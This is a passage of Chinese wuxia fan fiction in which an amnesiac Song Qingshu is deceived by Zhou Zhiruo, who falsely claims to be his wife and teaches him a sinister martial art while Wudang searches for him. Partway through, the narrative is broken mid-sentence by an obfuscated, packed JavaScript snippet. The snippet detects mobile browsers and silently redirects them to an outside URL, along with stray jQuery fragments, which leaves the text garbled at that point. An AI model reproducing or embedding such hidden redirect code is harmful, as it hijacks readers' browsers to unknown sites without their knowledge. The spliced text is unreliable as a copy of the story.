这借口找得天衣无缝。李桂风身子虽好,却也时常有些小病小痛,宋青书身为人子前去探望,合情合理。宋远桥纵然觉得儿子这几日神色恍惚,走得又如此突然,有些蹊跷,但念及孝道,也只叹了口气,将信收好,嘱托下山的弟子,若路上遇见宋青书,叫他路上小心,早些回来。 没有人知道,宋青书离了武当山界,根本未曾往母亲居住的方向走。他折向西边,专挑僻静难行的小路。心中那团乱麻,非但未曾因离开武当而稍解,反而在独自行走时,越发清晰、尖锐地刺痛着他。 莫声谷那夜的话,那双燃烧着痛苦与质问的眼睛,几乎夜夜入梦。每一次惊醒,冷汗涔涔,颈间仿佛还残留着那只手湿冷滚烫的触感。 “上辈子杀我一次……这辈子还想再杀第二次吗?” 这质问,像一道无法愈合的诅咒。他逃了,可他知道,有些东西是逃不掉的。那不仅仅是情债,更像是一道横亘在他命运里的劫。前世因,今生果。他隐隐觉得,自己这一生,或许还有别的劫数要来。 这趟下山,说是逃避莫声谷,心底深处,也未尝不是一种近乎自毁的寻求——寻求一个了断,或是寻求一丝渺茫的、化解命劫的机缘。 他不知该往何处去,只是漫无目的地走。山越来越高,林越来越密,人烟越发稀少。有时在破旧的山神庙里蜷缩一夜,有时靠着树干囫囵睡到天明。武当山首席弟子的矜贵与整洁,很快被风尘仆仆所取代。他刻意避开城镇,也避开可能遇到武林中人的路径,像个真正的流浪旅人,沉默地丈量着陌生的土地。 日子一天天过去,心中的焦灼并未平息,反而因前路茫茫而更添惶惑。 这一日,他翻越一座险峻的山岭。山路被前几日的雨水冲得泥泞不堪,石阶上生着湿滑的青苔。他心神不属,脚下踩到一块松动的石头,猛地一滑! “啊!”惊呼声被呼啸的山风吞没大半。 天旋地转。他整个人失去平衡,顺着陡峭湿滑的斜坡滚落下去。嶙峋的石块、尖锐的树枝不断撞击着他的身体,疼痛四处炸开。他徒劳地想要抓住什么,指尖只掠过冰凉的岩壁和断裂的草茎。 最后,后脑传来一阵剧烈的、沉闷的撞击感,仿佛有什么东西在颅骨里轰然炸开,眼前霎时被无边的黑暗与剧痛淹没。 …… 武当山上,宋远桥起初并未太在意。儿子去看母亲,十天半月不归也是常事。只是过了约莫二十来天,他心中渐渐有些不安。青书不是不知轻重缓急的孩子,即便要多住些时日,也该捎个信回来。 他修书一封,遣人送往李桂风处。信中并未提青书可能未至,只作寻常问候,并提及青书前些日子下山,若在母亲处,望其多加教诲,也让他早些回山。 回信来得很快。李桂风的字迹娟秀中带着急切:“远桥吾夫:见信愕然。青书并未到江陵。妾身一切安好,何来不爽利之说?青书既言下山探我,何以不至?山中可是出了何事?望速查之,妾心忧如焚。” 薄薄的信纸在宋远桥手中骤然变得千斤重。他脸色一白,捏着信纸的指节因用力而泛出青白色。 青书没去李桂风那! 那封留书是假的!他骗了所有人! “孽子!”宋远桥又急又怒,一掌拍在桌案上,坚实的硬木桌面竟现出几道裂纹。惊怒之后,是铺天盖地的恐慌。青书为何要撒谎离去?他那几日神色异常,躲避七弟……难道与此有关?他孤身一人去了哪里?会不会遇到危险? 宋远桥再也坐不住了。他立刻召集了几位师弟。 “青书留书下山,声称探望其母,实则未至,下落不明。”宋远桥声音低沉,带着难以掩饰的焦虑与颤抖,“我担心这孩子出了事。武当弟子,即刻下山,分头寻找!无论如何,要找到他!” 俞莲舟、张松溪、殷梨亭等人闻讯,皆是脸色一变。莫声谷站在最边上,听到“下落不明”四个字时,身形猛地一震,原本就冷峻的面孔瞬间血色尽褪,变得惨白。他牙关紧咬,下颌线条绷得像石头,垂在身侧的手,指甲深深掐进了掌心,却浑然不觉疼痛。那夜雨中质问的狠厉与绝望,此刻尽数化为了更深的恐惧和……悔恨。 …… 山道旁的陡坡下,宋青书躺在乱石堆中,一动不动。雨水冲刷着他脸上的泥污,露出苍白的面容。后脑有处伤口,正缓缓渗出血,混着雨水,在身下积成淡红的洼。 不知过了多久,雨势渐小。远处传来马蹄声和说话声,由远及近。 “师叔,雨太大了,不如找个地方避一避吧?” “前面有处山神庙,加快些脚步,天黑前能到。” 是女子的声音,清脆利落。马蹄声渐近,在陡坡上方停住。 “咦?下面好像有人!” “小心些,莫中了埋伏。” 几道身影跃下山坡,轻盈落地。是三名女子,皆着青色劲装,腰佩长剑,为首的是个三十余岁的道姑,面容严肃,正是峨眉派静空师太。身后跟着两名年轻女弟子,一个圆脸杏眼,神情关切;一个尖下巴薄嘴唇,眼神警惕。 “师叔,他受伤了!”圆脸女弟子上前查看,惊道,“头上流了好多血!” 静空师太蹲下身,探了探宋青书的鼻息,又搭了脉:“还活着,但伤势不轻。慧明、慧真,把他抬上去。” “师叔,”那尖下巴的弟子皱眉,“这人来历不明,万一是歹人……” “救人要紧。”静玄师太打断她,“看衣着打扮,似是正道子弟。先救了再说。” 两名弟子合力将宋青书抬上马背,用绳索固定好。静玄师太翻身上马,将宋青书护在身前:“走,先去山神庙。” 一行人冒雨前行,终于在天黑前赶到一座破旧的山神庙。庙宇虽破,好歹能遮风挡雨。弟子们生起篝火,静玄师太则仔细为宋青书处理伤口。 “后脑撞在石头上,瘀血积压,恐怕……”她眉头紧锁,“慧明,取我的金针来。” 名叫慧明的圆脸弟子连忙递上针囊。静玄师太凝神运气,三枚金针精准刺入宋青书头部的穴位。片刻后,宋青书闷哼一声,吐出几口淤血,呼吸渐渐平稳下来。 “暂时稳住了。”静玄师太收起金针,“能不能醒,就看他的造化了。” 慧明松了口气,拧干布巾为宋青书擦拭脸上的血污。当看清他的面容时,她忽然“咦”了一声。 “怎么了?”静空师太问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109885|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “师叔,这人……好像有些面熟。”慧明迟疑道,“像是在哪里见过。” 尖下巴的弟子慧真也凑过来看,忽然脸色一变:“是他!武当的宋青书!” 慧明和慧真曾经跟随灭绝师太参加了六大派围攻光明顶,而但是静空留守峨眉,是以她并不认识宋青书。 “宋青书……”静空师太喃喃道,“他不是在武当吗?怎么会独自出现在这荒山野岭?” “总而言之,先把他带回去再说。” 尖锐的、钝重的、弥漫性的痛,尤其是后脑,像有根烧红的铁锥在不断搅动。 宋青书费力地掀开沉重的眼皮,眼前先是模糊的光晕,夹杂着破碎的色块和黑影。他尝试聚焦,视线却像蒙着一层厚厚的水雾,什么也看不清。耳边有细微的声响,像是衣料摩擦,又像是极轻的说话声,但听不真切,仿佛隔着一层墙壁。 我在哪里? 我是谁? 这两个最简单的问题浮现在意识表层,带来的却是一片茫然的空白。他试图回想,可思绪刚刚触及“过去”的边界,那剧烈的头痛便排山倒海般袭来,迫使他又闭上眼,发出一声微弱痛苦的呻吟。 “他好像醒了。”一个清脆的女子声音响起,带着几分谨慎和好奇。 另一个柔和许多,却似乎更有分量的女声吩咐:“去打盆温水来,小心些。” 脚步声轻轻离去。 宋青书再次尝试睁开眼睛。这一次,视线清晰了一些。他躺在一张简朴但干净的床榻上,身上盖着素色的薄被。房间不大,陈设简单,透着一种出尘的雅致,窗外可见摇曳的竹影。 床榻边站着两个人。一个是穿着僧服的尼姑,正端着水盆进来。另一个,是个年轻的女子,一身淡青衣裙,身姿窈窕,正静静地看着他。她面容清丽绝俗,肤色白皙,眉目如画,见他睁眼望来,那女子唇角微微弯起一个柔和的弧度,带着恰到好处的关切。 “你醒了?”她的声音很好听,如泉水叮咚,“感觉如何?头还疼得厉害吗?” 宋青书张了张嘴,喉咙干涩发痛,只能发出几个模糊的音节:“你……是……” 那女子愣了一息,接过丫鬟拧干的温软布巾,亲自俯身,动作轻柔地替他擦拭额角的虚汗。她靠得很近,身上有淡淡的、似兰非兰的幽香。“别急,你伤得不轻,昏睡了好几日。”她的声音更柔和了,带着一种安抚人心的力量,“我们在山崖下发现你,你从高处摔落,撞到了头。” 宋青书茫然地看着她,脑海里依旧空空如也。除了剧烈的头痛和浑身的酸痛,他感受不到任何与“自己”相关的东西。 “我……”他艰难地问,“是谁?” 女子的动作又几不可察地顿了一下,那双沉静的眼眸深处,似乎有细微的亮光闪过,像暗夜里划过的流星,快得让人以为是错觉。她直起身,将布巾递给丫鬟,目光重新落回宋青书脸上,那里面盛满了温柔,甚至有一丝哀怜。 她轻轻叹了口气,这叹息恰到好处地勾起听者的同情与好奇。 “看来,撞击真的让你忘了许多事。”她缓缓说道,声音里带着一丝不易察觉的、被努力压抑的颤抖,仿佛接下来要说的话,对她而言也是沉重的负担。 她伸出手,指尖似乎想触碰他的脸颊,却在半空中停住,最后只轻轻握住了他放在被子外、无意识蜷起的手指。她的掌心微凉。 在宋青书全然空白、充满依赖和困惑的注视下,周芷若——这个自称是他救命恩人的峨眉派弟子,一字一句,清晰而坚定地说道: “你叫宋青书。是我的……相公。” “我们夫妇二人,前些日子打算云游四方,可是你我不幸遇险失散。我寻了你许久,没想到……你竟伤得这样重,连我也忘了。” 她的眼眶微微泛红,话语中的情意真切得令人动容,那紧紧握住他手指的力道,传递着一种失而复得的、不容置疑的归属感。 宋青书怔住了。他看着眼前这张美丽而忧伤的面庞,感受着指尖传来的微凉触感和紧握的力量,听着那温柔又带着泣音的话语。 相公? 她是我的……妻子? 剧烈的头痛再次袭来,伴随着一种空茫的眩晕。他什么也想不起来,可这个女子的话语、神情、触碰,都带着一种强烈的、让他下意识想要相信的“真实感”。 在那一片空白的脑海废墟之上,“宋青书”这个名字,和“周芷若的相公”这个身份,如同两枚凭空出现的印章,带着不容抗拒的力道,深深烙了下去。 67. 几分真意几分瞒3 武当山的气氛,一日比一日凝重。 弟子们被一拨拨派下山,拿着宋青书的画像,询问过往商旅、探查沿途客栈,甚至一些偏僻的村落也不放过。宋远桥坐镇山中,眼窝深陷,鬓边骤然多出了许多刺眼的白发。他每日都会收到各处传回的消息,却无一带来确切的踪迹。青书仿佛一滴水落入江湖,消失得无影无踪。 巨大的焦虑啃噬着他。 他不止一次想起,几月前自己对无忌的误解与苛责,虽已冰释,但那份愧疚感在此刻被无限放大。 如今青书失踪,他心中第一个想到的,便是那已贵为明教教主、势力遍及天下的张无忌。若有明教协助,寻人的希望必然大增。 可话到嘴边,几次三番,又咽了回去。荒屋里,自己那不分青红皂白的出剑……虽然后来无忌全不在意,依旧恭敬唤他大师伯,可宋远桥自己心里,始终横着一根刺。 如今为了自家孩儿,再去劳动已是日理万机的明教教主,他实在拉不下这个脸,总觉得是又一次的亏欠与索取。 他只能更严厉地督促武当弟子,更细致地排查每一个可能的方向。那份属于父亲的、深沉的恐慌,被他死死压在沉肃的面容之下,唯有在无人时,对着青书旧日习字的纸张,才会流露出瞬间的疲惫与脆弱。 莫声谷将这一切看在眼里。 他比任何人都急,那焦灼如同野火,日夜焚烧着他的五脏六腑。宋青书留书出走的那天清晨,他其实有所察觉——那隐约的开门声,那刻意放轻却依旧熟悉的脚步声消失在雾霭深处。可他当时僵在原地,竟没有勇气追出去。 宋青书苍白的脸和紧闭的双眼,像一盆冰水,浇灭了他所有的心火,只剩下无尽的惶惑与刺痛。 他是不是……不该让青书知道他对他隐秘的情感? 这个念头随着宋青书失踪的时间越来越长,变成了最残忍的凌迟。 如果青书因为他而出走,如果青书在外面遇到什么不测……莫声谷不敢再想下去。他像一头困兽,在武当山有限的范围内徒劳地转着圈,每一次听到“没有消息”的回禀,眼底的赤红就多一分。 他看见大哥的挣扎与难以启齿。终于,在又一个一无所获的黄昏后,莫声谷回到自己房中,重重掩上门。他坐到案前,铺开信纸,提起笔,手却抖得厉害,墨汁滴落,污了纸张。他团起来扔掉,重新铺开一张。 这一次,他运起内力,强迫自己镇定,笔尖落下,字迹是罕见的潦草: “无忌侄儿:见字如晤。青书月前留书下山,言探其母,实则未至,下落不明已近月余。武当多方查访,杳无音信。大师兄忧心如焚,碍于旧事,不便相求。然青书孤身在外,吉凶难测。七叔知你教务繁忙,但念在昔日情分,万望发动明教之力,代为寻访青书下落。若有消息,火速告知武当。七叔莫声谷,拜谢!” 他匆匆写完,甚至来不及检查语句是否通顺,情感是否过于外露,便唤来最信任的弟子,命其以最快速度,务必亲手将信送到明教教主张无忌手中。看着弟子领命飞奔下山的背影,莫声谷靠在门框上,望着沉沉暮色,只觉得心头那块巨石,似乎稍稍松动了一线,却又被更深的空旷与恐惧填满。 青书,你到底在哪里? …… 峨眉山,竹林精舍。 这里清幽寂静,与武当山的焦灼彷徨仿佛是两个世界。 宋青书——或者说,周芷若口中的“相公”,已经能下床走动。他头上缠着洁净的白布,脸色依旧有些苍白,但那双曾经清朗明澈的眼睛,如今大部分时间都笼罩着一层茫然的雾气。 周芷若待他极好,或者说,扮演着一个无可挑剔的“妻子”。她亲自照料他的饮食起居,汤药必定先尝温凉,饭菜总是依着他的口味。她说话轻声细语,耐心地告诉他“他们”的“过往”:如何相识,如何互许终身,又是如何因为一场意外而失散。 “你呀,以前最是谨慎,这次定是心急寻我,才不慎跌下山崖。”周芷若坐在他对面,为他斟上一杯清茶,眼波温柔似水,含着恰到好处的嗔怪与心疼,“下次可不许这样了,若是……若是你真有个三长两短,叫我如何是好?” 宋青书接过茶杯,指尖碰到她的,微微一顿。他抬眼看着她,试图从这张美丽而温柔的面孔上,找到一丝熟悉的、能唤起记忆的影子 。可是没有。脑海里关于“周芷若”的部分,全是她这些日子灌输进来的,甜蜜却空泛的叙述。至于其他,依旧是一片漫无边际的空白。 他只能凭着本能,点了点头,低声道:“嗯,让你担心了。” 他们同进同出。周芷若练剑时,他便在一旁静静看着,那剑法轻灵飘逸,但他总觉得有些说不出的怪异,仿佛缺了某种厚重的根基,又或者,过于追求姿态的完美。 周芷若会挽着他的手臂,带他在峨眉山景致优美处散步,指着云雾缭绕的山峰,说着一些“以前”他们一起来过、许过愿的地方。 夜晚,他们宿在同一间精舍。屋内只有一张宽大的床榻。周芷若神色自若,仿佛天经地义。 宋青书心中却涌起强烈的不适与抗拒,那甚至超越了陌生与尴尬,是一种近乎生理性的抵触。但他找不到理由反对——“夫妻”本就该同寝,不是吗? 第一夜,他僵硬地躺在床的外侧,几乎紧挨着床沿,身体绷得像一块石头。周芷若在内侧躺下,中间隔着一掌宽的距离。她能听到他压抑的、并不平稳的呼吸声。 第二夜,她似乎不经意地翻了个身,手臂轻轻搭在了他的被子上。 宋青书在黑暗中猛然睁大眼睛,那一瞬间,胃部传来一阵剧烈的痉挛,一股强烈的恶心感直冲喉头。他死死咬住牙关,才将那干呕的冲动压下去。背上惊出一层冷汗。 为什么? 他是她的“相公”,为何会对她如此轻微的接触,产生如此激烈而厌恶的反应? 周芷若似乎睡得很沉,毫无察觉。 日复一日,这种“夫妻”游戏在继续。周芷若的笑容越来越温柔,眼神里的占有和某种隐秘的满足感,也越来越清晰。 她享受这种掌控,享受这个曾经对他无意的男子,如今只能依赖她、信任她、属于她的感觉。尽管,这“属于”建立在流沙般的谎言和一片空白的记忆之上。 宋青书则越来越沉默。他努力扮演着“相公”的角色,回应她的关切,接受她的安排。但那种空洞感和违和感,如同附骨之疽。 尤其是每当周芷若靠近,指尖拂过他衣袖,或是夜晚那似有若无的触碰传来时,那股翻涌的恶心感便如期而至,提醒着他,有什么地方,彻底错了。 …… 静虚师太最近很少出现在前山精舍附近。 她是峨眉派中少数对宋青书心存感激的人。当年她身中寒冰绵掌,若非宋青书的精妙的医术,她恐怕早已不在人世。这份恩情,她一直记在心里。 宋青书被周芷若救回,且失了记忆,被周芷若宣称是“相公”。 起初,静虚虽觉诧异,但还是建议周芷若去武当派知会一声,然后再通知武林同道办婚礼,这样子有点不伦不类的。 可是自她建议那日后,静虚觉得自己被若有若无的视线监视了。 随着时间的推移,静虚心中的不安越来越重。 更让她焦虑的是,武当派正在四处寻找宋青书,天下皆知。宋大侠爱子心切,武当上下忧急如焚。而宋青书本人,此刻就在峨眉山,却浑然不知自己的身份和来处,被一个谎言困在这里。 于情于理,于公于私,都应该立刻通知武当。 静虚几次想找机会,或者至少传个信出去。可每当她起了这个念头,或者稍有异动,周芷若总能“恰到好处”地出现。 有时是温言询问她的功法进度,有时是派她去处理一些无关紧要却耗时的杂务,有时,甚至只是隔着一段距离,投来淡淡一瞥。那目光依旧平静,甚至带着晚辈的恭敬,可静虚却感到一股无形的、冰冷的压力,锁定了她。 她毫不怀疑,是周芷若在监视她,在控制她与外界接触的可能。这位年纪轻轻却已习得峨眉绝学、心思深不可测的师妹,早已不是当年那个柔顺的小弟子。她为了留住宋青书,或者说,为了达成某种目的,已经筑起了一道无声的高墙。 静虚尝试过在夜深人静时悄悄外出,想去山下寻个可靠的脚夫送信。可她刚离开住所不远,就发现巡夜的弟子似乎格外密集,路线也恰好封住了下山的主要途径。她退回房中,掌心一片冰凉。 她知道,自己已被软禁了。在这清幽的峨眉山上,她与外界的联系,与武当传递消息的可能,都被周芷若那双看似柔弱无骨的手,轻易而彻底地掐断了。 看着精舍方向隐约透出的灯光,静虚心中充满无力与忧虑。宋少侠,你可知道,你被困在怎样一个温柔却危险的牢笼里?武当的诸位大侠,又何时才能找到这里? 夜色中的峨眉山,竹涛阵阵,清冷依旧。一场由谎言织就的戏,仍在寂静中上演;而戏外真实的寻找与困顿,也同样在无声地煎熬。 峨眉后山,有一处更为隐秘的练功静室,是周芷若成为实际上的掌权者后,特意清理出来的。石室不大,凿山而建,门户厚重,一旦关上,便隔绝了外界绝大部分声响,只有石壁缝隙里渗出的、常年不散的阴凉湿气,以及石壁上幽幽燃烧的几盏油灯,投下晃动不安的光影。 这里,成了周芷若与宋青书“相处”的核心之地,也是她精心构建的、属于她的绝对领域。 石室中央铺着柔软的蒲团,周芷若总是先一步端坐其上,姿态优雅却带着不容置疑的掌控感。她示意宋青书在她身前的蒲团坐下,距离不远不近,刚好在她一伸手便能触及,又保持着一种教导者居高临下的威严。 “青书,你之前所习的内功路子,刚正有余,却失之迂阔。”周芷若的声音在石室里回荡,比平日更加清冷,也更有穿透力。她目光落在宋青书脸上,看着他因为失忆和依赖而显得格外温顺(或者说空洞)的神情,眼底掠过一丝满足。“如今你既忘了前尘,便当从头开始。我传你的这套功夫,名为《九阴真经》中所载的绝学,最是契合你如今的……心境。” 她刻意略去了“白骨爪”这个具体而阴毒的名称,只以“绝学”概之。 宋青书盘膝坐着,背脊习惯性地挺直,这是武当弟子多年养成的仪态,即便记忆空白,身体却残留着烙印。他听着周芷若的讲述,努力理解那些关于“气走阴脉”、“五指成钩”、“摧敌首脑”的诀窍。周芷若的讲解细致入微,甚至亲自示范。 她起身,裙裾微漾,走到石室中较为空旷处。灯光将她的影子拉长,投在石壁上,随着她的动作扭曲变幻。她缓缓抬手,五指微曲,并非凌厉抓出,而是以一种奇异柔韧的弧度向内收拢,指尖仿佛凝聚着看不见的寒冰与漩涡,带动周遭的空气都似乎微微凝滞、降温。那姿态,诡谲中带着一种惊心动魄的、毁灭性的美感。 “看清楚了么?力不在刚猛,而在阴柔渗透,专破护体罡气,直取要害。”周芷若收势,转身看向宋青书,目光灼灼,“你来试试。气沉丹田,不,稍偏下三寸……对,依我告诉你的路线,引气上行,过肩井,走曲泽,聚于指尖。” 宋青书依言抬起手,模仿着她的姿势。起初,只是觉得经脉运行路线与“以往”(他空白的“以往”中,似乎隐约有个正统平和的影子)截然不同,带着一股别扭的滞涩。但随着他尝试催动那被周芷若引导、修正过的内力,按照那诡异阴柔的路径运行时,异变陡生! 一股灼热的气流,突兀地从他丹田深处、或是更隐秘的经脉某处窜起!那感觉并非强大,却异常顽固、尖锐,像一根烧红的细针,猛地刺入他正在运行的阴柔气流之中! “呃!”宋青书闷哼一声,脸色瞬间白了白,聚于指尖的那点微弱气感骤然溃散,整条手臂又酸又麻,仿佛被无形的力量反噬。更让他心悸的是,那灼热感并未消失,而是在他体内左冲右突,带来阵阵隐痛和强烈的排斥感,似乎在拼命阻止他继续运行那套阴毒的功法。 “怎么了?”周芷若立刻上前一步,蹲下身,扶住他微微发颤的手臂。她的手指冰凉,触碰到他皮肤时,宋青书又是一颤,这一次,不仅仅是体内气息冲突的痛苦,更添了一种源自骨髓深处的不适,比以往任何一次肢体接触都更强烈。他几乎要控制不住那股翻涌至喉头的恶心与抗拒。 “没……没什么,”他强行压下不适,避开她的触碰,声音有些发虚,“只是……气息有些不稳。” 周芷若的目光在他脸上逡巡,那双总是带着温柔表象的美眸深处,闪过一丝极锐利的审视。她没有立刻追问,而是伸手按在他的背心,一股阴柔却不容抗拒的内力缓缓渡入,意图帮他理顺气息。“凝神,别抵抗。跟着我的引导。” 她的内力侵入,如同冰线游走,试图安抚、压制那股作乱的灼热。两股力量在他体内短兵相接,宋青书只觉得五脏六腑都绞拧起来,冷汗瞬间湿透内衫。那灼热气流左支右绌,似乎寡不敌众,最终被强行压回深处,蛰伏起来,但那不甘的“余温”和隐隐的敌意,却清晰地残留在他感知里。 周芷若收回手,指尖似乎无意地掠过他的后颈。宋青书猛地一僵,脖颈后的寒毛都竖了起来,胃里一阵剧烈翻搅,他不得不死死咬住牙关,才没当场失态。 “你的根基,似乎还与旧日有些残留的牵扯。”周芷若缓缓道,语气听不出喜怒,却带着一种不容置疑的裁定,“无妨,多练习几次,以我传授的心法为主,慢慢化去那些不合时宜的旧痕便是。你要记住,如今你我是夫妻,一体同心。我的,便是你的。这绝学精深奥妙,正需你潜心领悟,方能助你……早日康复,也能与我并肩。” 她特意加重了“夫妻”、“一体同心”几个字,既是提醒,也是无形的捆绑与压迫。 宋青书低下头,看着自己依旧微微颤抖的手指。指尖苍白,仿佛刚才试图凝聚的不是内力,而是某种不祥的冰寒。体内那蛰伏的灼热与抗拒如此真实,周芷若灌输的“夫妻”情意与“绝学”诱惑却虚幻如空中楼阁。 他不懂那灼热是什么,但那感觉……熟悉而令人安心,与他此刻所处的阴冷石室、所学的诡谲武功、以及身边这个美丽却总让他莫名战栗的“妻子”,格格不入。 “是,”他听见自己干涩的声音响起,顺从地应道,“我……会努力练习。” 周芷若满意地笑了笑,伸手似乎想抚他的发顶,如同奖励一个听话的孩子。宋青书在她手指落下前,几不可察地偏了偏头,那动作细微得像是无意。周芷若的手在半空中顿了顿,终究还是落了下去,轻轻揉了揉他的头发。 触感冰凉,带着淡淡的香气。 宋青书闭上眼,忍受着那熟悉的、几乎要冲破喉咙的 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宋青书深吸一口气,摒弃杂念——或者说,努力摒弃那自苏醒以来就如影随形的空洞与违和感。他依言催动内力,沿着周芷若指引的那条冰冷滑腻的经脉路径运行。气息过处,肌骨生寒。 起初似乎顺利,指尖微微发麻,仿佛有细小的冰棱在凝聚。然而,就在气劲即将贯注五指,模拟出那阴柔一抓的刹那,异变再起! 比上一次更加迅猛、更加灼痛! 那团蛰伏的“火”,竟似被这阴寒气劲彻底激怒,不再是细微的针刺感,而是轰然爆开一股炽热的洪流,逆冲而上!它并非漫无目的地乱窜,而是极其精准、凶悍地撞向正在运行白骨爪心法的关键窍穴! “噗——!” 宋青书喉头一甜,一口逆血未能完全压下,从嘴角溢出一丝鲜红。他整个人如遭重击,向后踉跄半步,方才凝聚的阴寒爪意瞬间冰消瓦解,取而代之的是右臂经脉火烧火燎的剧痛,以及丹田处翻江倒海般的气血翻涌。他单膝跪地,以手撑地,才勉强没有倒下,额头上冷汗涔涔,眼前阵阵发黑。 这一次的反噬,远胜之前! 周芷若脸色微变,瞬间掠至他身边,冰凉的手指已搭上他的脉门。她的内力迅疾探入,立刻感知到那股横冲直撞、与白骨爪阴劲截然相反、甚至隐隐相克的灼热阳气。它盘踞在宋青书经脉深处,如此顽固。那气息因主人记忆丧失、心法不全而显得散乱微弱。 他的身体,他的本源,在抗拒被彻底篡改? 周芷若眸色骤冷,心底掠过一丝惊怒,但更多的是一种被挑战掌控权的冷冽。她指尖加力,更为精纯阴寒的九阴内力汹涌而入,不再仅仅是疏导,而是带着明确的镇压与驱散意图,强行包裹、剿杀那团不肯驯服的“烈火”。 “呃啊——!”宋青书忍不住发出一声痛极的闷哼,只觉得两股极端的力量在自己体内疯狂厮杀,经脉如同要被撕裂开来。阴寒之气占据上风,步步紧逼,将那灼热逼得节节败退,重新压缩回丹田深处,动弹不得。但即便被压制,那股灼热仍未熄灭,如同被封在冰层下的炭火,兀自散发着不甘的余温与刺痛。 周芷若收回手,看着宋青书惨白如纸、冷汗淋漓的脸,和他嘴角那抹刺眼的血迹。她取出一方素帕,俯身,动作堪称温柔地替他拭去血迹。指尖不可避免地碰到他冰冷汗湿的皮肤。 宋青书身体猛地一颤,他的身心有一种源自灵魂深处的战栗与排斥。那冰凉的触感,那近在咫尺的、属于她的幽冷香气,混合着方才镇压他体内阳气时留下的阴寒印象,化作一股强烈至极的恶心感,从胃部直冲喉头。他猛地偏头干呕起来,却只吐出一些酸水,五脏六腑都像是绞拧在了一起,比内伤更难受百倍。 周芷若擦血的动作顿住了。她静静地看着他伏地干呕的狼狈模样,看着他因痛苦和抗拒而微微颤抖的肩背。石室内的空气仿佛凝固了,只有他压抑的呕吐声和粗重的喘息在回荡。 良久,宋青书的干呕才渐渐平息,只剩下虚脱的喘息。他不敢抬头看她。 头顶传来周芷若听不出情绪的声音,依旧柔和,却像冰层下的暗流:“看来,你体内的内劲比我想的还要根深蒂固。”她顿了顿,“无妨。今日便到此为止。你且回去休息,按时服用我给你的丹药,那有助于化去淤积,平复内息。” 她伸手,似乎想扶他起来。 宋青书几乎是触电般,自己挣扎着站了起来,脚步虚浮,却执意与她拉开了一点距离,低着头:“是……多谢……夫人。”那“夫人”二字,叫得艰涩无比。 周芷若的手在空中停留一瞬,缓缓收回,拢入袖中。她看着宋青书逃也似的、踉跄走向石室门口的背影,美丽的面孔在摇曳的灯火下,半明半暗。 “青书,”她忽然开口,声音不高,却清晰地传入他耳中。 宋青书脚步一滞。 “我们是夫妻,”周芷若缓缓道,每个字都像精心打磨过的冰珠,圆润,却冷硬,“你的便是我的,我的,自然也该是你的。这绝学亦是如此。些许不适,只是过渡。你要习惯。” 她顿了顿,语气里染上一丝极淡的、却不容错辨的幽冷: “也要习惯我。” 宋青书背脊僵硬,没有回头,手指却无意识地攥紧了袖口,骨节发白。他体内,那团被强行镇压的纯阳之气,在丹田深处微弱地搏动了一下,带来一丝细微却清晰的暖意,与周芷若话语中无形的寒意,形成刺骨的对比。 他没有回答,只是沉默地、有些狼狈地,推开沉重的石门,将自己投入外面相对明亮的、却也依旧被峨眉山云雾笼罩的天光之中。 周芷若独自站在原地,望着重新合拢的石门,脸上那层温柔的假面慢慢褪去,露出一丝冰冷的、势在必得的锐光。宋青书的抗拒,无论是内力上的,还是身体本能上的,都超出了她的预计。但这反而激起了她更强的掌控欲。 他是她的。从她决定留下失忆的他那刻起,就注定只能是她的。武当的印记?过往的牵连?她有的是时间和手段,将它们一点点磨去,替换成她周芷若的烙印。 至于他体内的那点余烬……她有的是办法让它彻底熄灭。 她转身,走向石室更深处,那里有她精心布置的、更为私密的空间。空气中,仿佛还残留着宋青书压抑的痛哼与干呕的气息,混合着油灯燃烧的味道,和石壁永恒的阴冷。 周芷若立在舍身崖边,指尖还凝着方才为宋青书端药沾的药香。 她垂眸望着崖下翻涌的云海,眼前却晃过一幕——宋青书褪去一身武当侠气,布衣荆钗,正低头为山民敷药,眉宇间是她从未见过的平和温润,再无半分昔年争强好胜的戾气。那一瞬间,心底竟掠过一丝极淡的疼。 可这心疼,不过是指尖划过冰面的一点微温,转瞬便被刺骨的寒意吞没。 峨眉派历代掌门的牌位在身后大殿里静静立着,祖师郭襄的佩剑悬在梁上,寒光映着她素白的面颊。她是峨眉的掌门,肩上扛着的是一派兴衰,是祖师爷传下的基业,是光大峨眉、号令群雄的重任。 儿女情长,江湖恩怨,于她而言,不过是登顶途中的尘埃。 周芷若缓缓攥紧了拳,指甲深深嵌进掌心,那点疼意反而让她灵台清明。她转过身,眼底最后一丝柔软尽数敛去,只剩一片冷硬的决绝。 风吹动她的素色道袍,猎猎作响,像是斩断了最后一点牵绊。 68. 几分真意几分瞒4 光明顶的议事厅内,烛火通明,却驱不散张无忌眉宇间深锁的忧色。金毛狮王谢逊被困少林的消息如同沉重的铅块压在他心头,营救方案的每一处细节、可能遭遇的阻力、需要协调的各方势力,都在他脑中反复推演,几乎占据了他全部心神。 然而,当莫声谷那封字迹潦草、力透纸背、甚至能想象出写信人当时是如何焦灼颤抖的信被呈到他面前时,张无忌还是立刻放下了手中关于少林寺地形图的卷宗。 “青书师兄……失踪了?”他快速扫过信笺,脸色微变。莫七叔信中措辞虽力求克制,但那字里行间透出的恐慌与恳求,却比任何激烈的言辞都更让人心惊。大师伯的为难,七叔的不得已而为之,他瞬间便明白了。 一边是身陷囹圄、待他解救的义父,一边是下落不明、生死未卜的同门师兄。手心手背,皆是牵挂。 他沉默片刻,指尖在信纸上轻轻摩挲,仿佛能触及武当山上那焦灼的空气。随即,他抬首,对侍立一旁的五行旗掌旗使中一人道:“去请锐金旗吴旗使前来。” 不多时,吴劲草大步流星走入厅中。他身形魁梧,步伐稳健,若非细心观察,几乎看不出他曾断过一臂。如今那手臂活动如常,只是隐约可见接续的痕迹。他抱拳行礼:“属下吴劲草,参见教主!” “吴旗使不必多礼。”张无忌抬手示意他起身,将莫声谷的信递过去,“你先看看这个。” 吴劲草接过信,仔细看完,粗犷的脸上顿时显出凝重与关切:“宋少侠他……怎会如此?” 